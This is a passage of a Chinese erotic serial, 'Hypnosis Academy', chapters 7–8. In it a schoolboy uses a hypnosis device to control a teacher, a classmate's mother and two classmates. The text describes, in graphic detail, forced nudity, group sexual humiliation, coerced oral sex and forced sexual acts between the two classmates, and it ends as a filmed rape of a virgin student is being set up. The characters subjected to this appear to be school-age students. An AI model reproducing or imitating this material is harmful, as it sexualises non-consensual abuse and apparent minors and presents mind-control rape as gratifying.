催眠学园7-9[科学幻想]

 

(七)Tra

  今天虽然是星期天,但村越却一刻也不得闲。因为高崎真弓已经到学校等他
了。正确的说法,应该是村越让高崎真弓到学校等他。不仅如此,他的另一帮狐
群狗党也……

  就在村越穿着校服,準备前往学校的途中,他的脑海之中却浮现出真弓昨天
羞耻闷绝的画面。因此村越今天决定再来玩一场淫乱的裸体淫宴。

  村越事先已经秘密地连络了漫画研究会的成员们。黑虹学园的漫画研究社,
是一群被大家称之为「成漫」,有特殊性癖好的家伙。也就因为如此,所以才与
村越臭味相投,有所交情。与村越同样追求着性爱的他们,在变态的程度上,有
过之而无不及,但基本上他们都属于有色无胆的性格,因此还没有人敢堂而皇之
地对真弓下手。

  到了学校后,村越随即走向了指导室。待在里头的,正是已经化身成村越可
爱奴隶娃娃的真弓。

  「唷……高崎老师!」

  看到连门都没有敲的村越时,真弓露出了厌恶感的表情。她的表情显得有些
憔悴。

  「看你一副疲惫不堪的模样。不行喔。要适时休息爱惜自己的身体喔。」

  村越露出了讽刺挖苦的笑容。这个举动,再度触怒了真弓的神经。昨天整个
晚上,一直在苦思有什幺方法能够抖出村越恶行的她,在觉悟到所有的努力都是
白费的事实后,所有的气愤不平全都涌上心头。没错,村越对她下的催眠指令,
就是让她不能以言语或是文章、手势等一切方法,将昨天的事情告诉任何人;此
外,她也不能以任何的形式留下记录。

  「我们走吧。你跟在后头随我来。」

  「走……要走去哪里……?」

  「去漫画研究会的社团室啊。因为那帮人好像需要老师的帮忙。」

  村越穿越了川廊,真弓也一路尾随在他的身后。从她略显缓慢的脚程来看,
应该是反应出她的潜意识里,还是试图想要抗拒吧。

  「要……要做什幺事情呢?」

  「其实也没有什幺啦。只是要你去当那些家伙的模特儿而已啦。」

  听到这句话,待会儿会发生什幺事情,几乎是呼之欲出。

  「啊……不、不要……我不要!」

  「对了,我还曾跟那些家伙说,你对性爱有特别的癖好。」

  真弓的脸孔毫无血色,一阵铁青。如此一来,至今所营造出的暴君形象,都
将在一瞬间变成粪土。就连身为老师的……不,应该是连人类所保有的最基本人
格,都将遭到毫不留情的贱踏!

  「喂,你有看过模特儿像你现在这种死人脸的吗?废话少说,把笑容带在脸
上。」

  虽然内心抗拒,但脸上立刻露出笑容的真弓,是绝对不能抗拒村越的命令。

  随着村越来到了一间教室,数名男同学早已坐立不安地等在里头。

  「唔啊,还真的来了耶!」

  「真、真的耶!」

  村越在事前就已经对眼前这群,因为看到美人女教师的出现而欣喜若狂的家
伙们,下了封口令。虽然村越并没有使用催眠指令,不过因为警告他们一旦这件
事情洩露给第二个人知道的话,就再也没有像今天这种机会。也就因此,在场的
每个人都噤若寒蝉。

  「那……接下来高崎老师将会为大家担任模特儿。大家準备开始画吧。先警
告你们,待会儿大家绝对不可以用手去做任何触碰模特儿的动作。」

  「老、老师会不会中途突然生气……或是抓狂海K大家一顿啊?」

  凡是黑虹学园的学生,没有一个人不知道高崎真弓的恐怖。现在看来,她的
威信咒缚似乎仍然有效。即使真弓脸上带着微笑站在大家的面前,但他们还是不
能百分之百的相信,这一切都是真的。

  「你们放心好了啦……高崎,请你把身上的衣服、胸罩以及小裤裤全都脱下
来。」

  「是,全部都……脱下来……」语毕,真弓开始脱下衣服。没有任何迟疑或
是踌躇,动作俐落地脱下身上的衣服。

  围在她身旁的男同学们,大家瞠目结舌地看着眼前不可思议的画面;大家不
敢置信地咽了口口水。当真弓一丝不挂的呈现在大家面前时,再度被眼前超刺激
的画面给吓的哑口无言。

  「她……她真的脱的精光耶……全裸的……」

  「好大喔!这……这真的是高崎老师的……」

  「不只是乳房,连她的屁股!」

  身上一丝不挂地遭受到男学生们的视姦,再加上低级言语的嘲讽。真弓的内
心想必是多幺的不堪。此时她身上产生的微微哆嗦,不知是起因于寒冷还是羞耻
与屈辱呢。

  「废话少说了!準备开始动工了吧!」

  成漫的成员们开始挪动桌椅腾出适当的空间后,并将一块白布给铺在地上。

  「高崎老师,请你躺在上面摆出性感的动作。记得要把脚给张开来喔!」

  遵从指令、全身一丝不挂的真弓,躺在白布上大胆地摆出诱人的动作。只见
真弓双手交叉摆在脑后,袒露出胸前那对丰满的乳房。因为本身重量而弯曲的肉
球,受到胸筋的牵制,而形成完美的曲线;隆起于山丘上的突起物,不自主地产
生轻微的颤抖。

  当视线稍稍往下移动时,身体完美的曲线绘出了令人垂涎惊歎的女人胴体。
纤细扭动的柳腰,更显得淫欲煽情;微微支起膝盖,分别朝左右两边张开的大腿
根部,绽放着一朵粉红色的花瓣,和谐地点缀于苍郁茂密的草丛之中;再加上支
撑着丰满臀部的大腿与细嫩脚踝等细节来评监,简直是一块无瑕的美玉!

  「喔啊啊啊!好美的淫穴!美穴!」

  「原来女人的淫穴,长这个样子喔……感觉好像还微微张开似的!哈!」

  众人的视线宛若在舔吮着羞耻的部位般,紧盯着不放。微笑的脸颊渐渐感到
一阵灸热泛红。

  「喂喂!你们不要光只是看,快点动手画啊!」

  「我要画高崎老师的淫穴!而且还会帮她涂上美美的颜色!」

  「我要画老师那对巨乳!超大的……尤其是她的乳头,真的好美喔!」

  大家毫不忌讳地一阵大声嚷嚷后,开始仔细地观察真弓的胸部与性器,绘出
一幅幅相当细緻写实的作品。对真弓而言,想必是生平的奇耻大辱,但从成员中
没有一个人画出她的脸与全身来看,「成漫」的名号,果真不只是虚名。村越脸
上露出一阵苦笑。

  教室内响起了铅笔与纸张摩擦的声音。男同学们双眼布满着血丝,屏气凝神
地画下面前的美景。

  一会儿后,突然出现了令在场傻眼的变化。最先发现的人,是正在描绘真弓
淫穴的一位男同学。

  「喂、喂!那是……真的吗!那是爱液吗?」

  一道透明的粘液从微微绽放的秘裂里渗了下来。这并不是因为受到催眠指令
的影响。纯粹是真弓自己本身的反应。或许这是因为她意识到男同学视姦的刺激
因素吧。

  「连、连乳头也勃起了!好猛喔……好硬的样子喔。」

  「没想到高崎老师原来是一个……曝露狂!」

  受到视线与言语上的玩弄,真弓的身体感到一阵闷绝。即使如此,为了保持
模特儿的姿势,真弓充其量也只能微微地动了一下她的身体。怒火、懊悔与莫名
的强烈快感,让真弓的身体瞬间香汗淋漓。看穿她身体微妙反应的村越,更是感
到兴奋不已。

  「喂喂……已经湿了一大片了……好浓的女人香味喔……」

  真弓的周围笼罩着浓密的雌体气味。虽然是不折不扣的美人胚,但却是令学
生避之唯恐不及的高崎真弓,如今却让男同学们却陶醉在她散发出的贺尔蒙气
味之中。

  「村、村……村越!我已经受不了了!」

  「我……我也忍不住了!求……求你!」

  真弓深邃的眼神中,浮现出恐怖的颜色。原本还以为真弓可能遭到轮姦的下
场。不过,他们这群家伙,应该没人有这个胆吧。村越脸上带着轻鬆的笑容点了
点头。

  「真拿你们没办法……那,你们如果想要DIY的话,那就别客气吧。」

  「哇啊!太好了!」

  「可、可以射……射在她身上吗?」

  宛若脱僵野马般的少年们,从椅子上站了起来,不约而同地脱下了内裤。接
着,他们各依所好,开始抽送起下半身血脉贲张的肉棒。

  真弓的表情出现微微的痉挛现象。这也是无可厚非的事吧。全裸的自己毫无
抵抗能力,被迫成为众人猥亵的对象。数根奇形怪状的肉棒炮列,淫秽地呈现在
她的眼前。

  空气中充斥的男人性臭与数分钟后即将到访的画面,让真弓的肉体毫不掩饰
的呈现出来;胸前的两颗乳头发胀到极限,让爱液湿淋的下腹部、秘裂的花瓣与
花蕾,更是反射性的不断颤抖。如此淫蕩的反应,更加激化着男人的欲望,巨大
的发洩冲动,瞬间袭向脑门。

  「我、我已经不行了!」

  「我也到极限了!唔哇!」

  数根肉棒几乎同时发生炸裂。从龟头上进发出白浊滚烫的肉液。宛若是胜利
者开香槟庆祝般,真弓的全身被喷洒了大量的精液。兄弟们浓稠的刺鼻味混杂着
真弓母狗般的淫汁,让教室里弥漫着淫秽的香味。

  「啊啊啊啊────」从樱唇溢洩出热气的的真弓,脸上带着恍惚的表情,
身体还不时地发生痉挛。

  村越对于真弓的表现,确实感到有些吃惊。不只是她那模特儿的演技,而是
她脸上淫蕩的表情,明显是因为获得性的满足而出现的反应。

  全裸的身体完全曝露在学生面前的淫欲,以及精液喷洒的喜悦。说不定她的
身体里,隐藏着受虐的本质。总有一天,一定要唤起她被封印的资质。

  ……

  将事后的整理工作交给了那群家伙,村越带着真弓回到了指导室。即使解除
了催眠的指令,惨遭蹂躏而筋疲力竭的真弓,还是全身无力地瘫软在坐位上。

  (身体的疲累应该很快就会回复吧。不过心里的调适,就交给我来办吧!)

  ……

     ***    ***    ***    ***

  「如果你不介意的话,要不要先到屋内喝杯茶,等早苗回来呢?」仓泽忍笑
容可掬地说道。

  结束了由成漫那群家伙参与的「女教师.高崎真弓裸体写生大会」的村越,
前往了仓泽家。村越事先早巳得知忍的女儿因为要举行茶会而不在家,所以,他
这次的目的是放在早苗的双亲。

  然而,那个态度高傲,让村越恨的牙痒痒的父亲,却意外不在家,只剩下她
的母亲忍一个人。

  不过,这样的安排,倒也算是正中村越的下怀……

  村越假藉「对那天不速来访一事郑重道歉」的理由,顺理成章地前往了仓泽
家。原以为应该会被忍以家中没有其他人的理由而挡在玄关外,但万万没想到,
对女儿同学不存戒心的她,却反倒引狼入室,轻易地邀请村越进入家里。看来是
初见面时,村越伪装的友善假面发挥了效果吧。

  村越原本的计画是要让早苗的双亲同时成为催眠导入机的诱饵。不仅如此,
村越还打算在那个自尊心超强、而且严厉的父亲面前,同时侵犯他们母女俩。不
过,现在得临时改变计画。

  (今天就仅止于训练的阶段吧……)村越歪斜着嘴角,露出了邪淫的笑容,
「那我就不客气了。打扰了。」

  村越将催眠导入机朝向了毫无防备、落落大方的忍扣下了扳机。才一转眼的
时间,忍立刻陷入被催眠的状态。一脸茫然地看着村越。

  「仓泽忍小姐,你现在正处于一个很深很深的地方。身体完全放鬆,感到非
常的舒服。」

  「是……全身放鬆……非常的舒服……」忍缓慢地複诵一遍村越的话。

  村越首先仔细地观察忍的外表。不论是她的性格与容貌,都与她的女儿早苗
极为相似,与其说她们两人是母女,不如说是姊妹比较贴切;然而,两人还是有
着决定性的差异,例如象徵母性的丰满乳房与成熟雌性的独特味道,这两个地方
是此刻的早苗望尘莫及的。

  压抑着兴奋之情,村越向她下达了「美丽的足球」的催眠指令。

  ──如此一来,他们母女都成了我的掌中物。马上就来试试她「服侍」的功
力吧。

  「仓泽忍,从现在开始你必需要好好地伺候你的客人。这位客人就是你女儿
的同班同学村越君。他是你最重要的客人。」

  「是……最重要的……客人……」

  「要是你惹客人生气的话,那是一件非常严重的事情。要如何招待客人的方
法,你可以直接询问客人的要求。此外,不管村越这名客人向你说什幺,你都不
可以对他产生任何的存疑。这位重要客人所说的每一句话,你都要像是听到圣旨
般不可违逆!这样懂了吗?村越君的喜悦,就如同你的喜悦。你一定要竭尽所有
的力气去讨好他!」

  「是……该怎样招待他……直接问他本人……客人……永远都是对的……」

  村越心满意足地点了点头后,解除了忍陷入沈睡的催眠状态。

  「咦?嗯……您要不要喝杯茶?还是您想要吃别的东西呢……」

  「嗯,这样吧,可以来些甜点吗?还是说其他可以配茶喝的小点心。」

  「家里还有蛋糕……如果您不介意的话?」

  「嗯,那麻烦你给我一杯红茶与蛋糕。」

  「是,我这就去準备。请您先坐一下。」之所以会以如此恭敬的言词对待女
儿的同学,想当然尔是受到催眠的影响。

  「啊!对了对了。我不需要蛋糕用的叉子,所以你不用拿过来。」

  「嗯,我知道了。就照您的吩咐。」

  再次确认时,虽然略微的思考一下,但是忍并没有对村越的说法抱有任何存
疑,她笑盈盈地走向了厨房。而大摇大摆地坐在沙发上的村越,与其说是客人,
感觉上更像是国王。

  「村越,让您久等了。」

  手上端的餐盘上,摆着一份精緻高级的蛋糕以及红茶。一看到那个上面以奶
油装饰的栗子蛋糕时,村越不由得地露出一阵苦笑。

  就在忍準备把桌上的红茶注入茶杯时,村越向她说道:「可不可以请你直接
叫我进太呢?而我也直接称呼你为忍。」

  「是……进太。请你直接叫我忍。」如同之前的催眠指令,忍化身为完全顺
从「客人」的人妻。

  光只是直接称呼她小名就已经勃起的村越,禁不住地加快行动,「我先来尝
尝蛋糕的味道吧。忍,可不可以请你用嘴巴餵我呢?因为我觉得你用嘴巴餵我,
会比我自己用刀叉要好吃一百倍。而且我还可以省得自己动手。」

  「是……我知道了。进太。」

  完全顺从客人要求的人妻,贤淑地跪在村越的脚边,把脸移向了摆放在桌上
的蛋糕。虽然费了些时间,然而她那豔丽柔嫩的朱唇,很有技巧地咬了一口上面
平均分布着奶油、糖衣、果酱的蛋糕。她的模样,看起来就像是一只正在吃着食
物的宠物。

  嘴边还沾着奶油与果酱等配料的忍,一边幽雅地伸直了柳腰,一边轻轻地以
手托住村越的双颊。宛若在等待食物的雏乌般,村越张开了嘴巴;当与柔软的朱
唇重叠在一起的瞬间,人妻的气息拂过村越的双颊,一股不仅是蛋糕的香味,逗
弄着鼻腔的神经。

  「嗯……嗯嗯……嗯……嗯咕……」用嘴巴接过蛋糕的村越,进一步伸出了
舌头,舔吮着忍的朱唇。

  「嗯嗯!咕唔……嗯、嗯嗯!嗯唔唔嗯嗯……!」

  或许是因为人妻的缘故吧,忍似乎比她的女儿要来得更加的敏感。村越一边
愉悦于她敏感的反应,一边将舌尖伸入了忍娇喘不已的双唇里,开始舔吮着她的
口腔。

  「嗯啊!嗯嗯嗯!嗯嗯……嗯咕!嗯嗯……!」

  瞬间,忍的口中因为奶油与唾液混合,而形成了黏稠的白色泡泡。当村越停
下了舌尖的动作时,这次换成她主动採取攻势,以舌尖逗弄着村越的舌头。还残
留在口中的奶油,亦顺势被搬运到村越的口腔里。

  没错,完全顺从的人妻,至今仍忠实遵从客人的每一句话。然而,两人此刻
的状况与热吻几乎没有两样。从掌心传来了更加温热的湿度。

  「嗯啊……嗯……啾滋……嗯咕……嗯~~」

  宛若上了一堂人妻接吻课,即使被当成人偶玩弄,但却丝毫不减其魅力……
村越更加地感到兴奋。而当蛋糕完全消失时,如此浓厚的接吻亦宣告结束。

  「真是人间极品啊,忍……」

  「只要进太觉得高兴的话,我也会很高兴啊。」与女儿同班同学接吻的忍,
没有任何尴尬与异样,脸上反而还露出高兴的笑容。

  接着,她像是突然想起了什幺事般,开口说道:「您不喝红茶了吗?」

  「红茶,给忍喝。要记得加牛奶下去喔。」

  「奶茶啊?我知道了……」

  「等一下,你不要直接加那种牛奶喔。」村越制止忍把手伸向一旁迷你牛奶
罐的行为。

  人妻露出了不解的眼神。村越缓缓地从桌上站了起来,同时脱下了长裤与内
裤。瞬间那根血脉偾张、不断产生哆嗦的肉棒,赤裸裸地耸立在忍的眼前。忍见
状屏气凝神,整个人僵硬在原地。

  发现之前给她的催眠指令,似乎已经到达极限的村越,立即开口说:「美丽
的足球!」

  瞬间,进入催眠状态的忍,一脸茫然地凝视着村越的肉棒。

  「仓泽忍,你知道口交的行为吗?」

  「知道……就是用嘴巴……爱抚男人的……」

  (真不愧是人妻。与她那个黄毛丫头女儿截然不同。既然知道的话,那事情
就好办多了!)村越微微扬起嘴角。

  「你有帮你的丈夫口交过吗?」

  「没有……从来没有对任何人做过这件事……」

  (撤回之前说的话。忍居然没有口交的经验!)原本村越打着要她就像平常
服侍丈夫口交的如意算盘,看来似乎发挥不了作用。然而另一方面,村越倒是对
她没有口交经验一事,感到异常的兴奋,因为换句话说,人妻上面的洞穴,还算
是未被开发过的处女。

  「那接下来请你帮眼前这根肉棒口交……如此一来,就可以从里面射出牛奶
来。你要听好,从这根肉棒射出来的液体,既不是尿液也不是精液。所以你完全
不会感到害臊。相反地,你得努力地去榨取出牛奶来喔!」

  「是……肉棒……牛奶……榨取……牛奶。」忍宛若是发出娇淫声般,重覆
一次村越说的话。可事实上,根本不可能榨取出牛奶,而是不折不扣的精液。

  村越随即解除忍沈睡的催眠状态。

  「啊……那我开始榨牛奶了喔。」

  说完,忍一手拿着茶杯,跪在村越的面前。柔嫩的手,轻抚着硬直地挺向天
花板的肉捧后,将肉棒引入自己的嘴巴里。「咕啾……」她的双唇轻吻了肉棒的
前端。接着……

  「嗯……嗯咕……嗯嗯、嗯!嗯嗯!咕啾滋!」

  村越不由得地发出了舒爽的声音。村越的认知里,即使知道口交是什幺,但
是对于一个完全没有经验的人而言,口交的技巧肯定是不怎幺样。然而,忍却颠
覆了村越的观念。

  「嗯……啾!嗯咕……嗯咕……啾噗……嗯、嗯嗯……」

  上下双唇紧紧地吸吮着肉棒,接着以舌尖挑弄被吸入口腔中的龟头部位。被
紧缩的口腔壁猛烈地吸吮,而感到一阵麻痹刺激的村越,下半身不自主地颤动;
并不是因为忍是一名天生的口交高手,她纯粹只是进行「榨取」的动作。而且是
极度强烈与渴望。

  「啾呼唔唔唔唔!嗯咕!嗯咕,啾!啾噗唔唔唔……」

  灸热、柔嫩、狭窄、紧缩。彷彿不是插入口腔而是淫穴的快感。

  「嗯……嗯嗯……啾……嗯……啾咕……啾叭……」文静优雅的人妻,全神
贯注地吸吮着肉棒。

  灸热的湿气、颤抖的睫毛、与泛着红潮的双颊、极度淫猥的娇美豔丽……

  ──如此的人间极品,岂可让予他人!!

  强烈的嫉妒心涌上心头,村越决定将他们母女占为己有。

  「嗯呼唔……嗯……啾唔唔!啾噗!啾!」连对自己的丈夫都没有做过的口
交行为。被肉棒贯入口腔中的人妻,痛苦地娇喘不已,泪珠在眼角中打转。

  如同夺走了她处女之身的证据般,征服的喜悦,让村越的内心与肉棒,都产
生了激烈的颤抖。突然,村越的视线移至了忍拿着茶杯……还戴着结婚戒指的左
手。瞬间,村越的肉棒像上膛的大炮般爆发出来……

  「嗯噗!嗯嗯!嗯咕唔……嗯啤!嗯嗯唔……」大量的白色乳液,射入了忍
的口腔内。溢洩出的精液,则从她的嘴角滴向了下颚;微微痉挛的双唇与舌尖,
则仍继续进行榨取的动作。

  「嗯……啾……啾唔……啾……滋……」朱唇吸吮出最后一滴的精液。

  村越闷绝地发出了呻吟的声音。解放了肉棒的忍,将视线移到了茶杯;接着
她将含在嘴巴里的精液,直接吐到了红茶里。如此浓稠的牛奶,并无法与红茶相
融,而是直接沈澱到杯底里。

  「噗啊!呼……哈啊……啊……嗯……这杯奶茶,是要给我喝的吧?」

  「没错,你得一口气全都喝光。一滴都不可以剩喔!」

  忍微笑地点了点头后,将杯子拿到了嘴边。

  「嗯……嗯咕……嗯咕……咕噜、咕噜……我喝完了……」

  就这样终于结束了愉快的午茶时间。虽然还想要玩一些新的花样,或者等她
的女儿早苗回来,搞个「母女饭」什幺的游戏;不过,考虑到万一她的丈夫回来
的话,事情就会变得比较麻烦,于是村越开始进行善后的处理。

  村越再度让仓泽忍进入沈睡催眠的状态。并向她提出了几个问题:「对了,
你平常隔多久,会和你的丈夫做一次爱呢?」

  「大约是……一个月一次……」

  「从今以后,如果你的丈夫想跟你做爱,你都得断然拒绝。因为你的心里,
有一种不想和你丈夫做那档事的厌恶感。」

  「是……绝对不想做……」

  (嘻嘻……被妻子拒绝的可悲丈夫……)想当然尔,村越丝毫没有同情他的
意思。

  「仓泽忍,你要听好喔。每当你和进太在一起的时候,你就会有一种非常舒
服的感觉。不仅如此,你的胸部与淫穴会同时感到一种搔痒闷绝的快感。感觉就
好像有人正以舌头舔吮你的淫穴般地舒爽不已。」

  「在一起的话……舒服……搔痒的……快感……」

  村越并不打算以催眠的方式来侵犯她的身体,而是让她主动来勾引村越。

  在给予了明确的催眠指令后,仓泽忍再度从催眠中清醒。

  「啊!进太?」清醒过来的仓泽忍,一看到村越,就莫名地感到一阵搔痒,
浮现出泛红的双颊。

  「忍,你怎幺了?」

  「没、没有!我没事……啦!」随着加速的心跳与呼吸频率,胸前丰满的乳
房亦随之上下晃动;包覆在裙子里的双腿闷绝地互相摩擦;看向村越的眼睛里,
寄宿着欲求不满的恍惚神情。

  「那,我差不多该回去了……」

  「咦,这幺快啊?好吧……可、可是,欢迎你下次再到我们家玩啊。」

  「嗯,那你给我一个爱的吻别吧!」

  忍万般不捨地,轻柔地吻了村越的双唇。

     ***    ***    ***    ***

  村越在早苗回家前,离开了仓泽家。因为万一与她碰头后,肯定又得回到她
家一趟。

  提早走先一步的村越,来到一处两旁景物相当熟悉的住宅区。

  ──如果没记错的话,北川绫的家应该就在这附近。

  正当这幺想的时候,一名曾经见过面的少年──世原优,突然出现在前头。

  「喂……你不是小优吗?午安。」村越亲切地与他打招呼。

  然而,小优的眼神却显得极度的不友善,直盯着村越。

  「发生什幺事啊?你的表情干嘛那幺恐怖啊。」

  「你到底对小绫……做了什幺事情?」

  (该不会是催眠的手段已经洩了底吧?)村越压抑着心虚的心情,小心翼翼
地反问了他。:「你是说接吻的事情吗?小绫她有跟你说什幺吗?」

  「没有……可是,我很清楚!昨天的小绫……绝对不是平常的她。」

  在知道了催眠并未事蹟败露的有利事实后,村越一改守势的态度,一百八十
度大转变,开始採取主动攻击,「你凭什幺说你最了解小绫?」

  「因、因为我们从小就一直在一起,所以,我比任何人都还要了解小绫!」

  「你喜欢小绫吗?」

  瞬间,小优显得不知所措。但他却没有因此而一语不发,「没错……我比任
何人都还要爱她!」

  「嘻嘻……原来又是一个相信『爱情力量』的家伙。老实说,我真的被你的
爱感动的痛苦流涕!」村越带着嘲讽的口吻,藉机耍弄小优。

  小优马上看穿了他话中带刺的含意,「你……你果真对小绫……!你到底对
她做了什幺事情?」

  看着不断逼进的少年,村越拿起了催眠导入机对準他,向他说「就这个」。
就在小优準备向后退,却为时已晚。对準自己的恶魔机械,无懈可击地发挥它的
所有力量;一道闪光瞬间贯穿了小优像是少女般的纤弱身体,连闭上眼睛、或用
手遮掩的机会都没有。少年的意识转眼间落入了黑暗的深渊里头。

  「咕咕……你现在知道了吧?现在连小优也跟你的爱人小绫一样了。」

  眼前的风景逐渐模糊,周围的声音也渐渐地远离,只有村越残忍的笑声,还
清楚地停留在耳朵里。

  此刻的小优,就像是中了陷阱,无处可逃的小白兔。红肿着眼睛,只能颤抖
着身体杵在原地,任人宰割……


(八)Logos

  北川绫一睑忧郁地瘫坐在床上。

  今天早上也无法到学校去。因为只要她想要去上学,身体就会立刻变得非常
的不舒服;不仅如此,当她试着想要走出家门时,整个人几乎要昏死过去。

  一切都是因为受到村越的催眠指示所致。在他还没有到家里以前,北川绫一
步也不準踏出家门。此外,她还受到不準将自己被催眠的事实,说给任何一个人
知道的指令。受到具有恐怖强制力的魔法约束,小绫只能像笼中鸟般坐以待毙。

  而后的自己,究竟又会受到怎样的折磨呢……?然而,有个人却让小绫比自
己的处境更加感到担忧,那就是她的青梅竹马世原优。自从亲眼目睹了自己与村
越做的可怕行为后,就一直没有再和他见面了。

  (他应该对我感到不能谅解吧。如果只是这样那还好,只希望那个无耻的村
越,不要对从小就体弱多病的小优,做什幺过分的事情就好了。)不仅是自己,
当脑海想到自己所爱的人时,绫的心就像是受到千刀万剐般的痛苦。

  这场恶梦般的惨剧,似乎没有任何停息的迹象。然而,屋漏偏逢连夜雨……

  突然,房间的门被打了开来。门外出现了小优的人影。

  (你终于来了!)绫的脸上反射性地绽放笑容。然而,她口中所说出的话,
却是针对站在小优背后,脸上戴着一副阴气眼镜的男人。

  「村越,你终于来了……好高兴喔!哼!人家都快要等不及了啦!」

  「哈哈……对不起,让你久等了。」

  村越脸上带着笑容,开口说出催眠指令,小绫瞬间化身成为一个木偶人形,
「北川绫,你已经不用再继续扮演自己是村越的女朋友了。不过,你还是得继续
听从村越的命令。等我数到三时,你就会从沈睡状态苏醒过来。」

  村越数到三后,小绫缓缓地醒过来。


  「你不可以随便乱叫喔。而且也不可以试图挣扎逃出这个房间。只要乖乖地
站在原地!」

  村越的这句话,轻鬆地制服了绫任何反抗的行动。

  「小优……救命啊……!」绫发出像是哭泣的声音,向站在一旁的青梅竹马
求救。

  然而,回答她的人却是村越:「你还看不出来吗?真是不巧,小优他已经成
为我的手下了。我想他今天应该会帮我做很多事情。」

  绫的双眼充满了绝望。没想到担心的事情终究成为现实。

  「你居然……连小优都不放过!你到底想对我们两个人做什幺事情呢?」

  「平常就热心助人的我,只是想帮你们两个人做点事情而已啦。」

  绫与优两人透着恐布的眼神看着村越。相反的,村越则是愉快的笑道:「接
下来是告白时间。先从小优开始吧!你喜欢北川绫吗?请你诚实回答。」

  「是……我真的很喜欢……小绫。喜欢的程度……甚至可以比我的性命还要
重要。」

  绫屏气凝神。虽然小优之所以会主动向绫告白,是因为受到催眠的指令,然
而他说的每一句话,却是出自内心,丝毫没有虚假。小优的话,给了绫很大的勇
气。

  「那,绫你那边如何呢?你喜欢世原优吗?」

  「喜欢,我也喜欢他!从小的时候开始,我就一直暗恋着他。」

  绫把长久以来一直藏在心里的秘密,毫不掩饰地表白出来。听到绫的话,小
优轻轻地点了点头。即使身体受到拘束,但两人的心却是连在一起的。真是令人
羡慕的佳偶。然而……

  「呵哈,青春真好!两人也从青梅竹马的关係,往前跨出了一大步。那,今
天的告白时间就到此为止了。因此,接下来小优还得负责拍照的重责大任呢。」
为了今天的计画,昨天村越已事先命令小优,準备今天所需要的摄影器材,「因
为我要请小优帮我拍下,我的肉棒进入小绫那还保有处女膜的淫穴画面。」

  瞬间,小绫刚才的勇气全都烟消云散。再度陷入绝望的深渊,「啊……不、
不要……绝对不行!」

  「即使你不要,我还是要做啊。」

  就在这时。小优突然使尽全身的力量,向村越说道:「不要对……小绫……
做出无礼……的事情!」

  (嘿……原来这就是爱的力量喔。居然可以抵抗催眠的力量!)村越挑起眉
毛,露出惊讶的表情。然而,他的反应就仅止于如此。村越的脸上,再度浮现出
残酷的笑容。

  「来吧,首先把你们身上穿的衣服全部脱下来。」

  「全部……脱下来?不、不要……」

  「呜呜!太过分……居然要我们做这种事情!」

  与口中仍顽强抵抗的气势截然不同,两人动作俐落地脱下了身上的衣服。健
美的身材与纤细的肢体,一丝不挂地站在彼此的面前。

  确认两人完成指令的动作后,村越也毫不避讳地脱下了衣服,「接下来,请
小绫坐到床上去,然后把双脚打开来。」

  「啊啊……不要!不要看……小优,你绝对不可以看!」

  小绫的苦苦央求,似乎不能在第一时间传到小优的耳朵里。因为小优像是看
到女神般,一脸茫然地盯着眼前这个柔嫩白皙、发育良好的胴体;特别是股间那
个毫无遮掩的秘密花园,更让小优如疑如醉。之后,他急忙地移开视线的原因,
不是因为听到小绫的哀求声,而是他意识到站在一旁的村越所传来的邪恶笑声。

  「小优,你要仔细看清楚喔。因为待会儿还得麻烦你帮她舔一舔呢。」

  「舔、舔……到底要舔哪里啊?」

  「这还用说吗。当然是小绫的淫穴啰!」

  「咦!我……不、不要!我绝对不要!」

  为什幺小绫会不希望自己喜欢的男生,舔着自己的性器呢?这对村越而言,
实在很难理解。他耸了耸肩,命令小优:「小优。你现在照我的指示,去舔吮小
绫的淫穴。」

  小优缓缓地蹲在双脚张开的股间。少年的双颊出现了微微的痉挛。

  「啊……不要!小优……你……不要看!」

  「哇哈哈!小优的肉棒已经充血勃起了喔。一定是因为看到小绫的小穴穴,
而感到兴奋对不对呢?来,小绫也看看小优那根勃起的男根。」

  「唔唔……对不起……啊啊啊……不要看、小绫……」

  除了以言语来屈辱,看着彼此呈现歇斯底里反应的两人之外,村越继续开口
说道:「小优你首先利用舌尖,上下舔吮着那两片粉红色的花瓣。」

  毫无反抗能力,只能依指令来行事的小优,伸出了舌头舔吮着青梅竹马的秘
唇。

  「快、住手……我求求你。请你放了我吧……啊呼唔……啊……不要……不
要……不要!」

  湿热的舌尖小心翼翼地舔吮着媚肉。或许是小优抱持着至少要轻柔一点的想
法,舌尖以似碰非碰的距离上下移动。然而,如此一来反造成小绫更加的兴奋,
「啊唔……!怎幺可以……啊咕唔、啊嗯!小优……嗯嗯!啊、啊啊嗯!」

  两人应该都是头一次做这种事吧。正因为两人多少都有这方面的知识,使得
彼此的感觉格外的怪异。虽然两人是受到催眠的影响,但由于彼此都是自己喜欢
的人,所以也不能完全排除性兴奋的反应。

  「呵呵呵,小绫的小穴穴开始湿了喔……咦?连小优的龟头也渗出了一些透
明的汁液喔。是不是因为舔了小绫的穴穴,而感到兴奋呢?」

  「才没有呢……小优……啊啊!咕唔……呼啊!」

  「喔喔……嗯……嗯嗯……」

  两人的表情因为羞耻心而歪曲。即使如此,舔吮的行为还是继续进行。村越
得意地看着眼前淫秽的画面,「接下来,用手指打开花瓣,把舌头伸到小穴穴里
搅弄一翻。」

  「啊、不要!不可以打开、啊啊……!小优……你不可以!求求你……」

  颤抖的手指,轻轻地打开了小绫的柔唇。曝露出的粉红色粘膜,闪着诱人的
淫光。小优笨拙地将舌头给插入粉红色的淫穴里。

  「呼啊!下、下面……不可以插……不要!」

  空气中响起了「咕啾咕啾」的卑猥声音,泛红着双颊的小绫,激动地摇摆着
头,不管是舔的人还是被舔的人都快速地喘息着;不仅如此,站在一旁的村越,
也同样感觉到下半身那股强烈的闷绝,「好诱人的颜色喔。不知道,闻起来是什
幺味道喔?」

  听到村越的话,小绫的胸口感到一阵揪结。把脸贴在小绫股间的小优,发出
了用鼻子闻香的声音。

  「啊唔!不、不要闻!不要……」

  「小优,味道如何呢?有没有尿尿的味道呢?」

  「嗯嗯、嗯嗯……!嗯嗯!」

  小优使劲地摇着头,否定村越的说法。然而已经伸入秘裂的舌头,却因此不
自主地搔碰到敏感的部位。

  「啊呼!呼!啊唔、嗯啊啊……啊!」

  随着娇喘的声音,小绫的身体不自主地产生颤抖。小优虽然对自己所做所为
感到后悔。但已经无法挽回了……

  「看来小绫似乎已经尝到兴奋的滋味了。小优,你继续舔看看淫穴上方的小
豆豆。」

  「不行不行!小豆豆真的不行!这个地方请你……那里是……」从自己的经
验得知,那个地方一旦受到刺激,会是多幺危险,小绫之前就有所认识了。虽然
想要向两人显示自己强烈的抗拒意识,无奈身体却完全不听使唤。

  「是不是那里会很舒服呢?那小优你可要用舌头用力地舔一舔喔。」村越完
全没有停手的迹象。

